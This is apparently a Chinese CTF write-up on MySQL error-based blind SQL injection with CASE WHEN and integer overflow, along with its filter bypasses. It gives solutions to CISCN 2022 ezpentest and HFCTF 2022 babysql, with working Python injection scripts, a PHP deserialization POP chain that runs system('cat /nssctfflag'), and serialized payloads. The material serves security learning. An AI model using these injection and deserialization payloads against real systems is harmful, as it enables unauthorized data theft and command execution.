目录
REGEXP的一个点(正则)
like(默认不区分大小写)
当禁用了空格
regexp,like的区分大小写的使用方法
[CISCN 2022 初赛]ezpentest
卡点
2022 HFCTF babysql
最近又学到了一道新知识,case when的错误注入,也是盲注的一种。
mysql> select case binary 'B' when 'a' then 1 when 'b' then 2 end;
结果返回 NULL
解释一下这个就可以理解,也就是首先二进制(B),然后when后面其实就是判断,如果判断成功执行 then都没有则会返回NULL
mysql> select id from tb where id=0 || case 1 when flag REGEXP '^f' then 1 else 1+~0 end;
单纯看的话,这段代码基本就是sql注入的后端,id后面的东西是需要我们注入的,
0 || case 1 when flag REGEXP '^f' then q else 1+~0 end;
REGEXP后面是是否以f开头,重点是这里如果不成立则会 1+~0
(这里 ~
为取反操作符,0 取反即为最大值,再加 1 溢出报错)
使用条件:一般会禁用掉if(),然后溢出报错会显示500,所以我们可以进行一个盲注。
REGEXP的一个点(正则)
^ 匹配字符串的开始部分
$ 匹配字符串的结束部分
. 匹配任何字符(包括回车和新行)
如果我们使用这个函数进行sql盲注的时候,如果匹配到了需要转义一下
if i in '.': i = "\\" + i
like(默认不区分大小写)
LIKE 关键字支持百分号“%”和下划线“_”通配符。一样转义
WHERE name LIKE 't%'; WHERE name LIKE BINARY 't%';(区分大小写)
当禁用了空格
使用科学计数法和单(反)引号绕过
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
case 1 when flag REGEXP '^f' then 1 else 1+~0 end;
比较看来也就是变成了科学计数法,然后else后面的值变了
1+~0 -------------》 ~0e0+~0e0 解释是科学计数法的范围变大了。
regexp,like的区分大小写的使用方法
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;
-> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;
-> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';
-> 0
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
[CISCN 2022 初赛]ezpentest
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
//正则这里\s表示所有空白字符比如空格,tab,%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary等的字符串
发现了,我们字符比较regexp和rlike ()都禁用了,if用不了没括号,所以只能用上面讲的case when和like
import string
import requests
str = string.ascii_letters + string.digits + "$@!^&}{_%"
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28582/login.php'
f = ""
while 1:
for i in str:
if i in '%_':
i = "\\" + i
resp = requests.post(url=url, data={"username": payload.format(f + i),
"password": "0"})
if resp.status_code == 500:
f += i
print(f)
break
这里不用~0e0是因为,~被过滤掉了所以直接用的最大数+1
得出
username: nssctfwabbybaboo!@$%!!<br> password: PAssw40d_Y0u3_Never_Konwn!@!!
因为这个解密要求非常严格,所以最好通过脚本下载下来
<?php
$url = "http://1.14.71.254:28391/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=ru3g5iqq3bcj80jv5btt4hgdj0");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("jiemi2.php", $result);
//保存会话内容八成是
登陆进去后,页面显示乱码,然后看源码,发现是PHPJiaMi.com加密,然后github上有解密脚本
<?php
session_start();
if(!isset($_SESSION['login'])){//session必须要存在
die();
}
function Al($classname){
include $classname.".php"; //文件包含漏洞自动加php
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);//反序列化,说明我们要传一个序列化好的数据
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
审计代码后发现是利用pop链,spl_autoload_register
这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用类A1
静态方法来包含所需的类,但是里面过滤掉了some并且下面会抛出错误,所以我们的思路是提前调用destruct.
直接访问获得另一个文件
卡点
这里我单纯的以为访问哪个目录,就会是哪个php但不是,通过上面的file_get_contents("SomeClass.php"),虽然访问/ND3x...,但其实这个文件是Someclass.php
Someclass.php
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
这里卡就卡在
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
通过看别的师傅wp,可以发现需要用一个原生类,然后($b->a)($b->b."");不就是 system("ls")的格式吗,原生类->a ->b就可以了,用Error()或者别的都可以。
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class SomeClass{
public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:63;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:2:"ls";}}s:1:"b";N;}s:1:"b";N;}}i:1;i:0;}
这里为什么加了一个 SomeClass方法呢,别的wp都没有结束,我之能猜测一下那是因为第一个文件压根没包含Someclass文件然后有了new SomeClass(),这样就可以包含Someclass这个文件,至于后面的array($result,0),还有替换就是GC的回收机制,如果
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:50;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:15:"cat /nssctfflag";}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}
把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。
HFCTF2022_babysql题目复现 (pankas.top)
2022 HFCTF babysql
import requests
import time
session = requests.session()
burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/",
"Upgrade-Insecure-Requests": "1"}
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'
while True:
for i in alphabet:
burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
if r.status_code == 401:
print(i)
password += i
break
time.sleep(0.3)
print(password)
逻辑很简单,和上面的题差不多,区别在于 regexp '^q'以及用的科学计数法
m52FPlDxYyLB.eIzAr!8gxh.
这样会产生点,为什么呢因为.相当于一个通配符,所以可以和上面一样转义掉就行。